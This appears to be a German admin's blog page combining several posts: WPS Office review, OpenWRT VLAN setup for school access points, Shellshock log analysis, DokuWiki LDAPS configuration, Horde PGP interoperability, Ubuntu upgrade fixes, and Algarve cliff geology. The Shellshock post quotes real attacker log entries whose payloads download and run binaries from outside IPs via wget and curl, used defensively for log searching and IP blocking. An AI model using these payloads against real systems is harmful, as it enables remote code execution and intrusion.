WPS Office

WPS hat auf Android nicht den schlechtesten Ruf. Es ist kostenlos erhältlich und darüber hinaus kann es ganz ordentlich mit DOC und DOCX umgehen. Das Office Paket gibt es auch für Linux hier http://wps-community.org/, so richtig dazu raten kann ich aber nicht: Der Umgang mit DOCX Dateien ist aus meiner Sicht nicht besser als im aktuellsten LibreOffice 4.3.2.2 und es kann mit ODTs nichts anfangen.

wps00

Die GUI des Programms ähnelt auf den ersten Blick der von Office 2007 an aufwärts. Die meisten Bedienelemente befinden sich in einer relativen hohen Leiste oben im Fenster.

wps02

Dazu kommt dann auf Wunsch eine Leiste auf der rechten Seite.

Bei der aktullen A15 Beta hat es obendrein noch ein paar ganz besondere Glitches: Wie man den im Bild oben angezeigten Formatvorlagen schon ansehen kann: Die Übersetzung ist noch lückenhaft. Das würde bei einem englischen Programm nicht stören, hier wirkt es aber tödlich.

wps04

Und: WPS erzwingt die rechtsseitige Anordnung der Fensterknöpfe im Hauptfenster. Die Fensterumrandungen des Betriebssystems werden ausgeblendet. In Submenüs, im Bild oben das Fenster im Vordergrund, tauchen die Knöpfe des Desktopthemes wieder auf – in diesem Fall also links. Das nervt schon nach ein paar Minuten kolossal.

OpenWRT und VLAN

Den schulischen APs der Reihe nach beizubringen, dass sie nun VLAN können und dass

  • auf Grau der AP verwaltet wird und hierbei seine IP vom grauen DHCP erhält,
  • Blau unser öffentliches Netz ist (HotSpot Authentifizierung),
  • auf Pink irgendwann in ferner Zukunft das Lehrernetz gefunden werden soll (mit Radius-Auth – man darf ja noch träumen)
  • und in Grün das interne Netz für die Laptops läuft, die ihre IP vom Schulserver erhalten,

war die Aufgabe. Dies auf der Oberfläche eines jeden APs einzeln zusammen zu klicken dauert viel zu lange. Also kopiert man sich die Konfiguration von einem funktionierenden AP auf alle anderen, bootet diese insgesamt zwei mal neu und voila – es tut.

Erst einmal VLAN ermöglichen:

opkg install kmod-macvlan

Dann neu booten. Mit ifconfig angesehen soll es am Ende so aussehen:

    br-blue Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    inet6 addr: fd34:cf26:d77b::1/60 Scope:Global
    inet6 addr: fe80::6670:2ff:fe78:1d5f/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:100 errors:0 dropped:0 overruns:0 frame:0
    TX packets:166 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:9114 (8.9 KiB) TX bytes:14396 (14.0 KiB)

    br-green Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    inet6 addr: fd34:cf26:d77b:10::1/60 Scope:Global
    inet6 addr: fe80::6670:2ff:fe78:1d5f/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:2354 errors:0 dropped:0 overruns:0 frame:0
    TX packets:166 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:749902 (732.3 KiB) TX bytes:14396 (14.0 KiB)

    br-grey Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    inet addr:192.168.0.139 Bcast:192.168.0.255 Mask:255.255.255.0
    inet6 addr: fd34:cf26:d77b:20::1/60 Scope:Global
    inet6 addr: fe80::6670:2ff:fe78:1d5f/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:1847 errors:0 dropped:0 overruns:0 frame:0
    TX packets:1689 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:175780 (171.6 KiB) TX bytes:431449 (421.3 KiB)

    br-pink Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    inet6 addr: fe80::6670:2ff:fe78:1d5f/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:0 errors:0 dropped:0 overruns:0 frame:0
    TX packets:1773 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:0 (0.0 B) TX bytes:574414 (560.9 KiB)

    eth0 Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    inet6 addr: fe80::6670:2ff:fe78:1d5f/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:9283 errors:0 dropped:167 overruns:0 frame:0
    TX packets:7976 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:1947524 (1.8 MiB) TX bytes:5061428 (4.8 MiB)
    Interrupt:4

    eth0.1 Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:2335 errors:0 dropped:0 overruns:0 frame:0
    TX packets:1729 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:211878 (206.9 KiB) TX bytes:434729 (424.5 KiB)

    eth0.2 Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:4566 errors:0 dropped:0 overruns:0 frame:0
    TX packets:801 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:1141302 (1.0 MiB) TX bytes:80814 (78.9 KiB)

    eth0.3 Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:2208 errors:0 dropped:0 overruns:0 frame:0
    TX packets:3708 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:410171 (400.5 KiB) TX bytes:3944129 (3.7 MiB)

    eth0.4 Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:0 errors:0 dropped:0 overruns:0 frame:0
    TX packets:1734 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:0 (0.0 B) TX bytes:569420 (556.0 KiB)

    lo Link encap:Local Loopback
    inet addr:127.0.0.1 Mask:255.0.0.0
    inet6 addr: ::1/128 Scope:Host
    UP LOOPBACK RUNNING MTU:65536 Metric:1
    RX packets:6 errors:0 dropped:0 overruns:0 frame:0
    TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:288 (288.0 B) TX bytes:288 (288.0 B)

    wlan0 Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    inet6 addr: fe80::6670:2ff:fe78:1d5f/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:595 errors:0 dropped:0 overruns:0 frame:0
    TX packets:2903 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:63160 (61.6 KiB) TX bytes:940426 (918.3 KiB)

    wlan0-1 Link encap:Ethernet HWaddr 66:70:02:78:1D:5F
    inet6 addr: fe80::6470:2ff:fe78:1d5f/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:3617 errors:0 dropped:0 overruns:0 frame:0
    TX packets:1995 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:3938021 (3.7 MiB) TX bytes:460510 (449.7 KiB)

Einmal /etc/config/network anpassen:

    config interface 'loopback'
    option ifname 'lo'
    option proto 'static'
    option ipaddr '127.0.0.1'
    option netmask '255.0.0.0'

    config globals 'globals'
    option ula_prefix 'fd34:cf26:d77b::/48'

    config interface 'grey'
    option ifname 'eth0.1'
    option type 'bridge'
    option proto 'dhcp'
    option ip6assign '60'

    config interface 'green'
    option ifname 'eth0.2'
    option type 'bridge'
    option ip6assign '60'

    config interface 'blue'
    option ifname 'eth0.3'
    option type 'bridge'
    option ip6assign '60'

    config interface 'pink'
    option ifname 'eth0.4'
    option type 'bridge'
    option proto 'dhcp'
    option ip6assign '60'

    config switch
    option name 'switch0'
    option reset '1'
    option enable_vlan '1'

    config switch_vlan
    option device 'switch0'
    option vlan '1'
    option vid '1
    option ports '0t 1t 2t 3t 4t 5t'

    config switch_vlan
    option device 'switch0'
    option vlan '2'
    option vid '2'
    option ports '0t 1t 2t 3t 4t 5t'

    config switch_vlan
    option device 'switch0'
    option vlan '3'
    option vid '3'
    option ports '0t 1t 2t 3t 4t 5t'

    config switch_vlan
    option device 'switch0'
    option vlan '4'
    option vid '4'
    option ports '0t 1t 2t 3t 4t 5t'

Und /etc/config/wireless anpassen:

    config wifi-device 'radio0'
    option type 'mac80211'
    option hwmode '11ng'
    option path 'platform/ath9k'
    list ht_capab 'SHORT-GI-40'
    list ht_capab 'DSSS_CCK-40'
    option country 'US'
    option txpower '27'
    option channel '4'

    config wifi-iface
    option device 'radio0'
    option network 'green'
    option mode 'ap'
    option ssid 'intern'
    option encryption 'psk2'
    option key 'geheim'

    config wifi-iface
    option device 'radio0'
    option mode 'ap'
    option encryption 'none'
    option ssid 'public'
    option network 'blue'

Die DNS Dienste auf dem AP wegwerfen, weil der DNS zentral läuft (auf Schulserver oder auf dem grauen Server für die Infrastruktur):

/etc/init.d/dnsmasq stop
killall dnsmasq # nur zur Sicherheit
/etc/init.d/dnsmasq disable

Dann noch einmal neu booten und vor Ort testen, nachdem man die VLAN Einstellungen auch auf den Switches so angepasst hat, dass man seinen AP wieder findet.

Shellshock exploits

Kaum ist der Bug bekannt, listet Exploit-DB einen exploit dazu und ein Metasploit Modul gibt es auch. Das macht es leichter, in den eigenen Logs nach Angriffen zu suchen:

grep „{ :;};“ /var/log/apache2/access.log

bzw. auch mit zgrep, sollen die komprimierten Logs ebenfalls einen Blick wert sein. Wer noch geiler grep-en will: http://rubular.com/r/FRoObXn9Kx

Und da sind sie dann auch schon: Einmal als ein Test auf CGI

89.207.135.125 – – [25/Sep/2014:10:34:22 +0200] „GET /cgi-sys/defaultwebpage.cgi HTTP/1.0“ 404 506 „-“ „() { :;}; /bin/ping -c 1 198.101.206.138“

aber auch als Versuch, von anderen Seiten Executables oder Skripte nachzuladen:

66.150.114.30 – – [27/Sep/2014:04:56:38 +0200] „GET /test HTTP/1.0“ 404 484 „-“ „() { :;}; /bin/bash -c \“wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\““

192.227.213.66 – – [26/Sep/2014:16:09:16 +0200] „GET /cgi-bin/helpme HTTP/1.0“ 404 376 „-“ „() { :;}; /bin/bash -c \“cd /dev/shm;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\““

Man kann dann mal nach in den letzten 3 Tagen geänderten Dateien in verdächtigen oder besonders relevanten Verzeichnissen suchen

find /etc -type f -mtime -3 -printf ‚%TY-%Tm-%Td %TT %p\n‘ | sort

oder mit

nmap localhost

nachsehen, welche Ports auf der eigenen Maschine inzwischen offen sind oder mit

netstat -tulpen

nach aktiven Verbindungen fanden. Aber so richtig was bringen dürfte das auch nur, wenn man die Verzeichnisse gut eingrenzen kann und der erfolgreiche Angreifer nicht aufräumte.

Steht man auf Schlangenöl (wer würde dies nicht) blockiert man die IPs, von denen schon Angriffe kamen mit iptables. Am besten gleich, indem man sich eine function für die .bashrc schreibt:

function blockip () { /sbin/iptables -A INPUT -s $1 -j DROP ; }

Dann reicht ein

blockip 89.207.135.125,66.150.114.30

um zwei IPs zu blockieren – weitere kann man ja mit , getrennt noch hinten anfügen.

Lektüre gefällig? Z.B. hier und da und die jeweils verlinkten Seiten. Das bringt einem aber schlaflose Nächte – wohingegen: Schlangenöl beruhigt die Nerven.

LDAPs von DokuWiki auf LD-Server

In unser Portfolio sollen nur die Kolleg/innen reinkommen und nicht die Schüler/innen. Also authentifizierte dieses zunächst nur gegenüber dem Lehrermoodle – seit ein paar Tagen jedoch auch gegenüber dem hausinternen LDAP-Server über eine verschlüsselte Verbindung.

DokuWiki, die Basis für das Portfoliosystem, erlaubt hierbei jegliche Mischung aus Authentifizierungsverfahren, sofern man das Plugin AuthChained installiert hat. In unserem Fall lege ich die Administratoren und Redakteure händisch in der DokuWiki eigenen Datenbank an – die nur lesenden Benutzer/innen dürfen über LDAPs kommen. Sie sollen in der Default-Gruppe visitor landen, die im Backend von Dokuwiki so eingerichtet wurde, dass sie nur lesenden Zugriff auf die Portfolio-Seiten erhalten.

Dann wurde die dokuwiki/config/local.php umgestaltet. Hier die Variablen, die am Ende des Config-Marathons endlich die intendierte Wirkung hatten:

$conf['authtype'] = ‘authchained';
$conf['defaultgroup'] = ‘visitor';
$conf['disableactions'] = ‘register';
$conf['plugin']['authldap']['server'] = ‘ldaps://ip.des.servers.tld:636?;
$conf['plugin']['authldap']['port'] = 636;
$conf['plugin']['authldap']['usertree'] = ‘dc=schule,dc=ort,dc=schule-bw,dc=de';
$conf['plugin']['authldap']['userfilter'] = ‘(&(uid=%{user})(objectClass=ldUserAccount)(ldRole=teacher))';
$conf['plugin']['authldap']['version'] = 3;
$conf['plugin']['authchained']['authtypes'] = ‘authldap:authplain';
$conf['plugin']['authchained']['usermanager_authtype'] = ‘authplain';
$conf['auth']['chained']['authtypes'] = ‘ldap,plain';
$conf['auth']['chained']['usermanager_authtype'] = ‘plain';
$conf['auth']['chained']['find_auth_by_password'] = ‘false';
$conf['auth']['ldap']['version'] = ‘3’;

ldUserAccount und ldRole sind spezifisch für MySHN bzw. LogoDidact Systeme. Andere Schulserver-Lösungen haben sicherlich andere Bezeichnungen. Die Einträge in den LDAP von LMN sind in deren Wiki hervorragend dokumentiert und lieferten auch für obige LD-Lösung viele Ideen:

http://www.linuxmuster.net/wiki/anwenderwiki:webapps:portfolio#anpassen_der_grundkonfiguration_des_osp

Anmeldeversuche von SuS werden nun mit der Fehlermeldung “Benutzername und / oder Passwort unbekannt” abgewiesen. Dokuwiki sucht schließlich nicht im LDAP-Baum nach allen Menschen auf ServerG, sondern nur noch nach LuL. Vermutlich ist das overkill, denn im Userfilter steht ja ebenfalls drin, dass nur LuL reindürfen. Aber es funktioniert und scheint mir sicherer zu sein.

Da der schulische LD-Server für LDAPs nur ein self-signed Zertifikat ausliefert kommt noch ein Eintrag in die /etc/ldap/ldap.conf auf dem Dokuwiki-Server

TLS_REQCERT allow

Horde PGP und Thunderbird

Der PGP-verschlüsselnde Mailserver für die Schule läuft, die ersten Nutzer/innen haben ihre Einführungen erhalten und es sieht so aus, als würden sie den Verschlüsselungsdienst sogar nutzen. Es scheint ihnen Spaß zu machen. Gut.

Was mir dabei aufgefallen ist: Horde verschickt verschlüsselte Nachrichten mit einem multipart/encrypted Eintrag für den Content-Type im Mailheader. Thunderbird mit Enigmail tun dies aber nicht. Thunderbird schickt verschlüsselte Mails als multipart/mixed raus … und das kann Horde dann nicht als verschlüsselte E-Mail erkennen. Horde bietet dann im Webfrontend auch keine Funktionen zum Entschlüsseln an, sondern zeigt den Plaintext an.

Was im Ergebnis gut funktioniert ist damit Horde2Horde und Thunderbird2Thunderbird und Horde2Thunderbird. Was überhaupt nicht funktioniert ist Thunderbird2Horde.

Zwei Stellschrauben scheint es zu geben:

tb_enm_pgpmime

Die erste ist in Thunderbird / Enigmail zu finden. Stellt man dort PGP/MIME als Standardverfahren ein, dann schreibt Thunderbird brav Content-Type: multipart/encrypted in den Mailheader und Horde kann die Mail als verschlüsselt erkennen und somit auch die Entschlüsselungs-Funktionen im Webmailer anbieten. Thunderbird selbst kommt auf Empfängerseite damit auch zurecht.

Die zweite Stellschraube ist theoretisch in Hordes IMP zu finden. In /var/www/horde/imp/config/mime_drivers.local.php muss man hierzu PGP Inline aktivieren bzw. die Datei erst erstellen und sich den Inhalt aus der vorhandenen mime_drivers hineinkopieren. Eine Garantie, dass das dann reibungslos und immer funktioniert, scheint es aber nicht geben, haben meine Tests gezeigt. Außerdem frisst es Ressourcen, weil Horde/IMP dann die gesamte E-Mail auf PGP Blöcke durchsehen müssen.

Mailserver von 12.04 auf 14.04

Auf einem Ubuntu 12.04 lauscht Postgrey nur auf IPv6

tcp6 0 0 ::1:10023 :::* LISTEN 0 10265 1191/postgrey.pid –

Auf einem Ubuntu 14.04 lauscht er dann nach dem Upgrade auf IPv4

tcp 0 0 127.0.0.1:10023 0.0.0.0:* LISTEN 0 13562 1331/postgrey.pid –

Dass er sich wie das Fähnchen im Wind gedreht hat, wird nicht mitgeteilt. Eine Anpassung von Postfix mit Neustart von Postfix und Postgrey hilft weiter:

check_policy_service inet:127.0.0.1:10023,
# check_policy_service inet:::1:10023,

Überhaupt: Dovecot und Postfix haben bei mir das Upgrade denkbar schlecht verdaut. Im Grunde musste ich die gesamte Konfiguration der beiden händisch neu vornehmen, weil so ziemlich alles broken war: Einstellungen, Pfade, Zertifikate … you name it.

Zurück: Webserver von 12.04 auf 14.04

Webserver von 12.04 auf 14.04

Nach dem Upgrade von Ubuntu 12.04 auf 14.04 warf Apache 2.4 mit einer ganzen Reihe von Fehlermeldungen nach mir, weil sich die Syntax einiger Konfigurationsdateien geändert hatte. Einen Überblick über die Änderungen liefert diese Seite:

http://httpd.apache.org/docs/2.4/upgrading.html

Lokal kommt man fast allen Problemen auf die Schliche, wenn man nach dem erfolgreichen Upgrade das Apache-eigene Tool apache2ctl einsetzt und dann die ausgeworfenen Fehlermeldungen Stück für Stück abarbeitet. In fast allen Fällen dürfte das Auskommentieren der beanstandeten Zeilen in den Konfigurationsdateien erst einmal ausreichen, um zu einem wieder funktionierenden Webserver zu gelangen:

sudo apache2ctl configtest

Was dann bei mir noch blieb war eine leere Seite, statt eines Logins für phpMyAdmin. In /var/log/syslog steht der Grund:

PHP Fatal error:  require_once(): Failed opening required ‚./libraries/php-gettext/gettext.inc‘ (include_path=‘.‘) in /usr/share/phpmyadmin/libraries/select_lang.lib.php on line 395

In der phpmyadmin.conf Datei fehlt hier der entsprechende Eintrag im Abschnitt <IfModule mod_php5.c> und dort in der open_basedir Anweisung

php_admin_value open_basedir /usr/share/phpmyadmin/:/etc/phpmyadmin/:/var/lib/phpmyadmin/

muss ergänzt werden:

php_admin_value open_basedir /usr/share/phpmyadmin/:/etc/phpmyadmin/:/var/lib/phpmyadmin/:/usr/share/php/php-gettext/

Dann den Apachen neu starten und es sollte wieder tun.

phpMyAdmin schimpfte dann, dass ihm die Bibliothek mcrypt fehle, die jedoch installiert war. Ein

php5enmod mcrypt

löste auch dieses Problem.

Apache 2.4 warnt beim Start vor SNI mit der Meldung

Init: Name-based SSL virtual hosts only work for clients with TLS server name indication support (RFC 4366)

das sollte heute aber nur noch für Windows XP und den dortigen IE gelten. Chromium, Rekonq, Konqueror und Firefox funktionieren ohne Zicken.

Weiter: Mailserver 12.04 auf 14.04

West

cimg3673

Weiter westlich in Richtung Lagos werden die horizontalen Höhlen so groß, dass ganz Segelschiffe mit 17m hohen Masten hineinpassen. Die Schichtung der Felsen ist hier ebenfalls gut zu sehen.

cimg3528

Was im Vergleich zur Küste westlich von Albufeira jedoch hier fehlt, sind die vielen vertikalen Schächte.

cimg3527

Dafür reiht sich Torbogen an Torbogen – teilweise, wie im Bild oben, hübsch in Reihe, so dass man durch mehrere Buchten auf einmal hindurchsehen kann.

cimg3535

Ideal zum Erkunden wäre allerdings nicht das von uns gewählte Segelschiff, sondern ein Kajak.

Boden

CIMG3152

Meiner Schachtbildungsthese durch Oberflächenwasser bleib ich trotz Zweifel erst einmal treu. Der Boden (siehe weiter Unten) muss dieser nicht widersprechen und eine bessere Idee habe ich nicht.

Die Schächte sind hier – wie ich auf einem Spaziergang nach Westen gestern sehen konnte – auch in größerer Entfernung von Strand in sehr großer Zahl zu finden, dann allerdings komplett verfüllt mit Sand. Ab ca. 100m vom Strand / der Küste entfernt wird dann der Nachweis weiterer Schächte für mich unmöglich weil die Deckschicht aus Erde und Sand immer dicker wird, das Land also ansteigt.

CIMG3107

Teilverfüllte Schächte finden sich auch in Küstennähe. Dann jedoch wie im Bild oben zu sehen mit noch weitgehend intakter Zwischenwand. Ich vermute inzwischen, dass die vielen tiefen (also leeren) Schächte, die ich auf den Spaziergängen in östlicher Richtung fand, alle vom Meer angeschnitten sind.

CIMG3110

Ganze Ketten dieser Schächte werden sichtbar (hier auf der rechten Seite des Bildes), wenn die Füllung nicht vorhanden ist.

Bei Schächten direkt an der Steilküste ist die Füllung meist vom Meer abgetragen worden – die Schächte sind fast alle sichtbar unten zum Meer hin offen, also horizontal angeschnitten. Bei einzelnen Schächten hört man Wasser am Boden, auch wenn man dieses nicht sieht. Für die Überprüfung der anderen leeren Schächte fehlen mir die Mittel.

CIMG3123

Nach einiger Zeit scheinen sich aus den angeschnittenen und somit miteinander verbundenen Schachtketten dann die Täler in Richtung Inland zu bilden, die ich bisher Wadis genannt habe.

CIMG3139

Das Küstengestein hat sich beim Spaziergang nach Westen besser eingrenzen lassen. Es handelt sich – dies macht die Zahl der eingeschlossenen Muscheln auch auf den höchsten Klippen deutlich – um angehobenen Meeresboden. Es entstand so eine Mischung aus Kalkstein und Sandstein, die Wasser, Wind oder anderen mechanischen Einflüssen nicht viel Widerstand entgegenzusetzen weiß.

CIMG3130

Das Kalk-/Sand-Gestein tritt in unterschiedlichen Mischungsverhältnissen und somit Härtegraden und farblichen Tönungen auf. Auch kann man stellenweise klare Schichten von Ablagerungen mit unterschiedlichen Farben sehen. Sortenreine Ablagerungen (reiner Sandstein oder reiner Kalkstein) scheinen sehr selten zu sein.